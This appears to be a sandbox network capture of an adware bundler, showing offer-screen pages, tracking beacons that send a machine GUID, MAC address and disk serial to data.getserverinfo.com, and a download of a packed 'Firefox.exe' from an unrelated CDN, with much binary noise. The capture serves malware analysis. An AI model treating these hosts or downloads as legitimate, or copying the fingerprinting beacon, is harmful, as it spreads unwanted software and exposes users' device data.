.-Cd.D.z.3c.g...S.,..D7.h.H=O.F6.{7.....H6G...S.......U.9.%w....`C....
.y.G^@......O..........0.l.....0.Z.4..H..[.k..Z..Z..zm].v.......J.$ZMZ
..yK.....Z.4.Z.Z.Z.Gr..M..j.b..Z^.1c.E........,....6&.9....3)....[W.vH
...a...k~....,.........1..k.R..........iWd....M.V..O)..?y.....W...._&l
t;....p.p....`............`..b.......:............:.............Xj)...
w.....-?M.bE|[...I.eki......&.U.6.........l4.[..N.F.....|...qc.Zj.7...
..;.f/..w..=......}L[...k.E.S/.x....3-...^.R....."Z.........[........:
.;...n.Z..~.....;.....%w....P7...'R^....E[?.C...X.$.^Y.Yj...}...iS.O..
...m........r%..4yy.r..I.....Io...'i..;..._....K.7.%.Q../.\......X....
3;_........[...[..ti.........._.-..Z.l;j)e.L.lyf"Dm..^4...-.|G.E VdRD.
.M....S[.{.i6G...~/7V.h....M..;^.1~.}.;......=9.]S2....y.w|Y.#s(..X..;
....:=....Y_#.\r......RkY.$.e.mk..n.E|..m|....kk...O.......'......-..n
.z..XZ}m\H.._e.....V.x9........!.../.xs......f.......5.Zl .......x....
.].?/..9r......h...]^}M....<....;..........p.p....`........}.....n.
.~....4............. ^=..kc...|j..4{u[.......H.2...Y1......R..|x.5M...
...j..4.%..x......!ij....bXcT..^[$=V.4<m^.=~..Yo.E..s..>....<<< skipped >>>

GET /ajax/libs/jquery/1.5/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Wed, 09 Mar 2016 13:23:20 GMT

Expires: Thu, 09 Mar 2017 13:23:20 GMT

Last-Modified: Fri, 16 Oct 2015 18:27:31 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 29910

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000

Age: 210784
...............F.&....D...1.d...*P.[.]V]oe...bRn..Ip..T...}.y.y.9.9...
..\..{.K.....-..y..o...._o...._....t.o..o.d.S......'.3..7a.3{...t..P*&
gt;.\o>n..t.x...R......O.......x.X.i..e...j.m..i......z.....6..mw.z
.xb............}.J.7.l.x...."k.vN....v..'.|K}x...._..S..:.l?e.,>..j
.x.J5...;...M.c..B....].m|~...2|......V...E.K.:.....R4..*...[#..8..f..
..1j.....h}K..8....({.q.EQ..~..e..f..{....q{.o..^J...cQ....c...:......
]..|....[.3/h..M...].^..}...FI;..|o..6...zI{.-..2?.Qe)..[.W.w8......,.
...qCQz.C.W.C....H..co...t..#Z.U.....G.0T...r.]*.(;o.}:.O..0..AO7..M$.
(.~..L.*.m.....C....,K...].n...x....o.y..G/8R.........u...m..2...}}..P
...~.f.X.#...x..1.q#..?...4G4....85...J.{Z.x.../.....&.M.S%...A.C.YT$.
..fYM.T.Q.^d..~.fj.e..P-.R..Zmz..$..M...I...fBk{....=..D..-5...T.z..b.
w.m..x...`....].f..t.....)5....".s..!....<..y..e.]...E.....0......5
..\...`9<....1....*..D..a.....Y.n...i...o.....Z.....R..`6..J.\.&._S
.z........M..G..*Z.q.f..H.4W............._7d........]....D[.ZQ^c..>
.j..u...... ..k.....f[....Frv2..=.{,....z.f......y.....Xs...34..g....A
>.F#...n..".e.34n...x...K.P.).........'..'..7YL ..t...Ih...i`...z..
....m....w:.tV....1.Dg..`...w...l$.._...........!.5....typ.E...[..wZ.d
..(:1..e4.....W.1Z.....~......\\$.....%...G.^.C..1.l.8..!jly....s5....
X..-Z...$$x.....s........hu..]. J.EE.._....4..r...a$.]......Zc.Z......
..C.N1M?..U..tB...._.N...D.......a`.E....QW..i..'4...........{...mHZ..
.6.A.E4...s...S.(..&......"JB...].E..[.....v.n.N....G{./e.4d4.f.....rw
..Aww..>..V....^..M)....$eP..]..p%M....|.e..O'.1M...0..,...nu..<<< skipped >>>

GET /ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Mon, 07 Mar 2016 09:18:22 GMT

Expires: Tue, 07 Mar 2017 09:18:22 GMT

Last-Modified: Fri, 27 Nov 2015 19:30:24 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 88

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000

Age: 398283

.PNG........IHDR.......d.....G,Z`....IDAT..c.....&.....G0..ed.......w.
..........IEND.B`.HTTP/1.1 200 OK..Content-Type: image/png..Access-Con
trol-Allow-Origin: *..Timing-Allow-Origin: *..Date: Mon, 07 Mar 2016 0
9:18:22 GMT..Expires: Tue, 07 Mar 2017 09:18:22 GMT..Last-Modified: Fr
i, 27 Nov 2015 19:30:24 GMT..X-Content-Type-Options: nosniff..Server: 
sffe..Content-Length: 88..X-XSS-Protection: 1; mode=block..Cache-Contr
ol: public, max-age=31536000, stale-while-revalidate=2592000..Age: 398
283...PNG........IHDR.......d.....G,Z`....IDAT..c.....&.....G0..ed....
...w...........IEND.B`...

GET /dc.js HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=4&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stats.g.doubleclick.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Strict-Transport-Security: max-age=10886400

Date: Fri, 11 Mar 2016 22:17:26 GMT

Expires: Sat, 12 Mar 2016 00:17:26 GMT

Last-Modified: Thu, 04 Feb 2016 00:31:28 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 15977

Cache-Control: public, max-age=7200

Age: 5987
...........}kW....w~........pk..f......Z.R..Y.C 8i.pi......b..}.>g.
.Kl...}4....d....O...-.....`~...E...]7..>..>....Pf.a.yU."HCC...i
...T*..b.....'..Olf[.Y.[c6P/.....'n.m'..m.... !_XXll..&..(..E..V=/.u.X
..%.w...i..rDoT.....?>z..1`.D...y...y7. \...5ZI...TA..........C...p
3..A..x.k.q4.2...?L.k=.v....4.:sB[...l.w.o {.....?Nc....|..........q..
.......[.n..2..X~.......S.f.]h~....7:.n...m.C#6...........#....y...7.|
..f.W.>..wS......)..Q....i......z......D.`...7N....y.C;....`1....x.
.p.tG.L..=..1r...M..2..)xa...{0!..5...^...7..."..........J8... ...5.O.
...l...r...|....R...P.0ok.8.Z.2....i|...S.y.od...~..k.>.....0vGr.mI
.....0.&&yg.sf2......m.....G=0..B.6..u....A.h.A.0.V.:.-...j..L.....5.E
.[...Q.{2imA......T........~. ...0*%.....>......hX...ga1./$......f.
#..d,.|www5/XX...c5..D-.....p.h..8D.@./.X,.....&gTV..5..,.x..?.....(.&
gt;?6Sy.].`.]...'-"....-...........(.n.@_"p"`.*...T.1.$..t.....o?.."..
/.kX.)[email protected].,HP........# ....d...-,.......-.j..B
S....9...%.~Sug,...`."[email protected]]..yn.i(5.....U.r..$j..0{|.i.5........
H}.......A=..&.Vq....4<..*7c.<b.....OQ8X...&..a/a.....aI.j.7.E.:
cuV=.P.q..d.....X....#[email protected][email protected].#....Q.....K.....
.A.y._....z|..9...9.zM......%m........m).?4.Q...c.....PTDB&..7.-G....E
.....E.7.t.V..G....._..!.....xt..}.......Ev..x..a.{...d.. .q./..OB|.
.6..{....a^.......@?.......o.....*T.;/Oa.......J..........I.)......J..
#..A....FS.....t.H..h...W..|B.~..t.6..........t"<..z..||.......8..B
9......x.a....m.V[.=...K!..\.....w."d...=>.B..(K...u.....~.".@b<<< skipped >>>

GET /Installer/Flow?pubid=1955&distid=18257&productid=5187&subpubid=0&campaignid=0&networkid=1&dfb=0&os=5.1&iev=6.0&ffv=&chromev=&macaddress=00:0C:29:02:CD:FB&netv=&d1=74240&d2=-1&d3=-1&d4=-1&d5=-1&ds1=&hb=2&systembit=32&vm=1&machineguid=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&diskserial=-1465484763&version=4.4 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19

Host: data.getserverinfo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Date: Fri, 11 Mar 2016 23:56:20 GMT

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

X-AspNetMvc-Version: 4.0

X-Powered-By: ASP.NET

Content-Length: 10636

Connection: keep-alive
..Sv.NlmsAxc.2..*.JqaEv`.5. ).Bkmnjf`grQsoa"8,$.Fmkcsez_oajgRvjdo
"8.(.% O_fGew.2.AIBS^?UPM=IM]RMDN Qj^op_o_[XAkd_j.nsv.x FF=TXARLQ
ANRZMN>P.Mnbtu\j`UZJ[hh.PpTW:kfanEnqoYgeco.qbr '.M^eH_x24 5.CDC
VYBQRP@FOXSP?Q.SmalrZpbV[=mgbg.ity.{.HI@QZ<SOLDJT][email protected]_m]WUK^
ck*RsWT<fgdiHjsr\dg^p.len"*.J`imonM]mc.2.:kfan>rmrk`k ).Ono
bp[oBB.4154.3$.:jt[xoOda]m.8-&!EsU\ao?moCmot_gd.3/).DteSMD.3 ensl:
-*Yhbel\hj.a_fhZgi(qq/?habhBfmsni`)]s^ ).DteSMD-.8.bspp8*'\fgdiaen
,^\if_ff-nu-<ed`mAcrprg]&`qc.&!?okhYi]Jfhd.: ..<fgdiCesr
ma]'cu_.)-qdd`gr.',nfp8/32/43.)-s\Wm_p:=G=NL@DZ066 65  (e\dc*^
dbasgl8*.*'o]rri]mXlbq^qrj8`omn7).iebdYghed_q*rs*Ykb-p[uaPmnl]Zah9
skkci5hBA>mNLJ0ok!`sf^< _]BMD=$pcf9$]ZKD@$lpq9$]ZGQK$o_e9764)22$
`bh`=00*3.a^cc925/.ornb7`iiej..% L`earSMD.3 ensl:-*kmo,P?QREP?9O:QOP-_
ok*'j_dblr DwiYhbaL`earQ^j`^l<iebepd\8/12 onobp[obb:,8006!\dlrf
^<-800/!ec^^o95/3/!\mrhsnyg_5-/0#mxobgo5. $a`a90$cZ8 $fm`cg; .q^ppc
nj=2),!^vq_qjaj8(.% O[sa"8()'.?a^hpimiYg=_q[!6" '.&l
t;grfphnuq`kM^eH_xo"8.SX.*.J`uoso.5&/).Dbfc^ldoc.4,-, Kjjfmqc
njR_o].3 .&!@iq^j`i_k]xNar`.5&/).Rheck9amcoCmot_gd.3.).UerrpYg
Hdc_q?okhYi]Jfhd.:lpdg% @[mNul<k>ac`eakx 5lmnc).QqnGi9b`pbmrevcD
fnm_ifdn"8.).% OomEnP`_pe_oCmot_gd`k 7.0., Kj`>vbLdoujoL`kk.4!
,"*.Hm^Cu_QassglQZjr_!6"..$.ImpnDteP`kperQ_qi"8.(.% Mir
pEv`J`lsinU]ls`.5...&!LoqoJ``Ibs2."8.@F>W\=TNRCILZNQBL.Ood
oo\[email protected]>NPO?MP_SN=M.Ql`ssap`TWF_ff-NuZW9hbelCm<<< skipped >>>

GET /Installer/Track?pubid=1955&distid=18257&productid=5187&subpubid=0&campaignid=0&networkid=1&reqid=399085612&dfb=0&os=5.1&iev=6.0&ffv=&chromev=&macaddress=00:0C:29:02:CD:FB&netv=&d1=74240&d2=-1&d3=-1&d4=-1&d5=-1&ds1=&hb=2&systembit=32&vm=1&machineguid=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&diskserial=-1465484763&status=0&installedid=5187&offerscreenid=&offerorder=5&downloadduration=2890&installduration=32&issecond=0 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19

Host: data.getserverinfo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Date: Fri, 11 Mar 2016 23:56:23 GMT

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

X-AspNetMvc-Version: 4.0

X-Powered-By: ASP.NET

Content-Length: 8

Connection: keep-alive
..OK......


GET /Installer/TrackFinish?reqid=399085612&x=y&clickid= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19

Host: data.getserverinfo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Date: Fri, 11 Mar 2016 23:56:24 GMT

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

X-AspNetMvc-Version: 4.0

X-Powered-By: ASP.NET

Content-Length: 8

Connection: keep-alive

..OK..HTTP/1.1 200 OK..Cache-Control: private..Content-Type: text/html
; charset=utf-8..Date: Fri, 11 Mar 2016 23:56:24 GMT..Server: Microsof
t-IIS/8.0..X-AspNet-Version: 4.0.30319..X-AspNetMvc-Version: 4.0..X-Po
wered-By: ASP.NET..Content-Length: 8..Connection: keep-alive....OK....

GET /offers/ui/css/start/jquery-ui-1.8.19.custom.css HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.revenyou.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 11 Mar 2016 23:56:24 GMT

Content-Type: text/css

Content-Length: 20706

Connection: keep-alive

Cache-Control: max-age=604800

Last-Modified: Thu, 26 Apr 2012 17:23:56 GMT

ETag: "ca38195cd123cd1:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

Expires: Fri, 18 Mar 2016 23:56:24 GMT

X-Cache: HIT

Accept-Ranges: bytes
/*!. * jQuery UI CSS Framework 1.8.19. *. * Copyright 2012, AUTHORS.tx
t (hXXp://jqueryui.com/about). * Dual licensed under the MIT or GPL Ve
rsion 2 licenses.. * hXXp://jquery.org/license. *. * hXXp://docs.jquer
y.com/UI/Theming/API. */../* Layout helpers.--------------------------
--------*/..ui-helper-hidden { display: none; }..ui-helper-hidden-acce
ssible { position: absolute !important; clip: rect(1px 1px 1px 1px); c
lip: rect(1px,1px,1px,1px); }..ui-helper-reset { margin: 0; padding: 0
; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font
-size: 100%; list-style: none; }..ui-helper-clearfix:before, .ui-helpe
r-clearfix:after { content: ""; display: table; }..ui-helper-clearfix:
after { clear: both; }..ui-helper-clearfix { zoom: 1; }..ui-helper-zfi
x { width: 100%; height: 100%; top: 0; left: 0; position: absolute; op
acity: 0; filter:Alpha(Opacity=0); }.../* Interaction Cues.-----------
-----------------------*/..ui-state-disabled { cursor: default !import
ant; }.../* Icons.----------------------------------*/../* states and 
images */..ui-icon { display: block; text-indent: -99999px; overflow: 
hidden; background-repeat: no-repeat; }.../* Misc visuals.------------
----------------------*/../* Overlays */..ui-widget-overlay { position
: absolute; top: 0; left: 0; width: 100%; height: 100%; }.../*!. * jQu
ery UI CSS Framework 1.8.19. *. * Copyright 2012, AUTHORS.txt (hXXp://
jqueryui.com/about). * Dual licensed under the MIT or GPL Version 2 li
censes.. * hXXp://jquery.org/license. *. * hXXp://docs.jquery.com/<<< skipped >>>

GET /offers/images/Theme15/topLine.jpg HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.revenyou.com

Connection: Keep-Alive


HTTP/1.1 404 Not Found

Date: Fri, 11 Mar 2016 23:56:25 GMT

Content-Type: text/html

Content-Length: 1245

Connection: keep-alive

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>......
<<< skipped >>>

GET /offers/images/Theme15/bgImg.jpg HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.revenyou.com

Connection: Keep-Alive


HTTP/1.1 404 Not Found

Date: Fri, 11 Mar 2016 23:56:25 GMT

Content-Type: text/html

Content-Length: 1245

Connection: keep-alive

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>......
<<< skipped >>>

GET /offers/images/Theme15/bottomLine.jpg HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.revenyou.com

Connection: Keep-Alive


HTTP/1.1 404 Not Found

Date: Fri, 11 Mar 2016 23:56:25 GMT

Content-Type: text/html

Content-Length: 1245

Connection: keep-alive

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>..HTTP/1.1 404 Not Found..Date: Fri, 11 Mar 2016 23:56:25 GMT..Co
ntent-Type: text/html..Content-Length: 1245..Connection: keep-aliv<<< skipped >>>

GET /portal/redirect.php?id=c4on47s995a1agomfqudvnseh60nr5mbh9rtlo999sibmm8gp8m0-00c74710c6fc8a914c6b21d3a97e796b&d=downloadinfo.co&p=Firefox&pid=3 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.postdownload.net

Connection: Keep-Alive


HTTP/1.1 302 Found

Date: Fri, 11 Mar 2016 23:56:43 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d40b8f2c65602c9c31f952905438c7aa41457740603; expires=Sat, 11-Mar-17 23:56:43 GMT; path=/; domain=.postdownload.net; HttpOnly

X-Powered-By: PHP/5.4.9-4ubuntu2

Set-Cookie: PHPSESSID=jkielvsf4urcqmtv3alal39236; path=/

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

location: hXXp://thankyou.postdownload.net/thankyou1.php?pd=1&d=ZG93bmxvYWRpbmZvLmNvL3RyYWNrL3R5cC8=&type=Firefox&ts=1457741010&id=c4on47s995a1agomfqudvnseh60nr5mbh9rtlo999sibmm8gp8m0-00c74710c6fc8a914c6b21d3a97e796b&c=0

Vary: Accept-Encoding

Server: cloudflare-nginx

CF-RAY: 2822f1d58e472696-FRA
0..HTTP/1.1 302 Found..Date: Fri, 11 Mar 2016 23:56:43 GMT..Content-Ty
pe: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Set
-Cookie: __cfduid=d40b8f2c65602c9c31f952905438c7aa41457740603; expires
=Sat, 11-Mar-17 23:56:43 GMT; path=/; domain=.postdownload.net; HttpOn
ly..X-Powered-By: PHP/5.4.9-4ubuntu2..Set-Cookie: PHPSESSID=jkielvsf4u
rcqmtv3alal39236; path=/..Expires: Sat, 26 Jul 1997 05:00:00 GMT..Cach
e-Control: no-store, no-cache, must-revalidate, post-check=0, pre-chec
k=0..Pragma: no-cache..location: hXXp://thankyou.postdownload.net/than
kyou1.php?pd=1&d=ZG93bmxvYWRpbmZvLmNvL3RyYWNrL3R5cC8=&type=Firefox&t
s=1457741010&id=c4on47s995a1agomfqudvnseh60nr5mbh9rtlo999sibmm8gp8m0-0
0c74710c6fc8a914c6b21d3a97e796b&c=0..Vary: Accept-Encoding..Server: cl
oudflare-nginx..CF-RAY: 2822f1d58e472696-FRA..0..<<< skipped >>>

GET /ezdown/Firefox.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn.download4desktop.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 11 Mar 2016 23:56:24 GMT

Content-Type: application/octet-stream

Content-Length: 284224

Connection: keep-alive

x-amz-id-2: frvKoiv1yDAGSVWexcgP7G5g XnQA2NwatvgFDN1faL  NKH7P5mh86 7CvKDe3aASCfKTEKYvI=

x-amz-request-id: 46009CCD8BAAA8BF

Last-Modified: Fri, 27 Jun 2014 18:49:39 GMT

ETag: "351d83cbc02c48ca0af90afe233fcf79"

Server: NetDNA-cache/2.2

Content-Disposition: attachment

X-Cache: MISS

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........w....g...g.
..g...l...g.y.i...g...m...g...c...g...f.l.g.9.:...g..5V...g.=.a...g.Ri
ch..g.................PE..L....I.Q.....................p...p..........
. ....@...............................................................
..........\...p.... ..\l...........5..p ..............................
............................................................UPX0.....p
..............................UPX1................................@...
.rsrc....p... ...n..................@.................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......2.03.UPX!......rb................&.......V...N.....13..Fx.Nt.H.
[email protected].....^......41V3..F`.".FT.X...-\.P.,&.Vj...S...lZ
N.P.J j...,..$^..k.. ..e....,0.4.p8.P(m[[email protected].<T..o..s.${..l....
[email protected].#..E..'..w....Etu..@0;.....
j.....v....Yt..`..t....H.. n....t...V.P.Z..M...E...e......@\..o...<
......G..R...f;V.d.E....e._...Z....\.P.Q..w.n..[.H..7V=.Sn..`...P..Q.c
1...........E...;....:../...u......~.."\y}...D.2............Pl...;....
...C.P.u.........E.]......D.Kx..-.st~..fx.'.&..{h>Ah.M..u.;Y..^

<<< skipped >>>

GET //offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0& HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: srv.serverdatasrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Date: Fri, 11 Mar 2016 23:56:22 GMT

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

X-AspNetMvc-Version: 4.0

X-Powered-By: ASP.NET

Content-Length: 8798

Connection: keep-alive
.<html>.    <head>.      .       <style type="text/css"
>.            .ui-progressbar-value { background-image: url(images/
pbar-ani.gif); }.        </style>.       .        <link type=
"text/css" href="hXXp://static.revenyou.com/offers/ui/css/start/jquery
-ui-1.8.19.custom.css" rel="stylesheet" />.        <link href="h
ttp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/start/jquery-u
i.css" rel="stylesheet" type="text/css" />.        <script  type
="text/javascript"  src="hXXp://ajax.googleapis.com/ajax/libs/jquery/1
.5/jquery.min.js"></script>.        <script  type="text/ja
vascript"  src="hXXp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jque
ry-ui.min.js"></script>..       <title>2 - NonProduct (
Installation)</title><script type='text/javascript'>var _g
aq = _gaq || [];_gaq.push(['_setAccount', 'UA-37348037-1']);_gaq.push(
['_setDomainName', 'ppdownload.com']);_gaq.push(['_setAllowLinker', tr
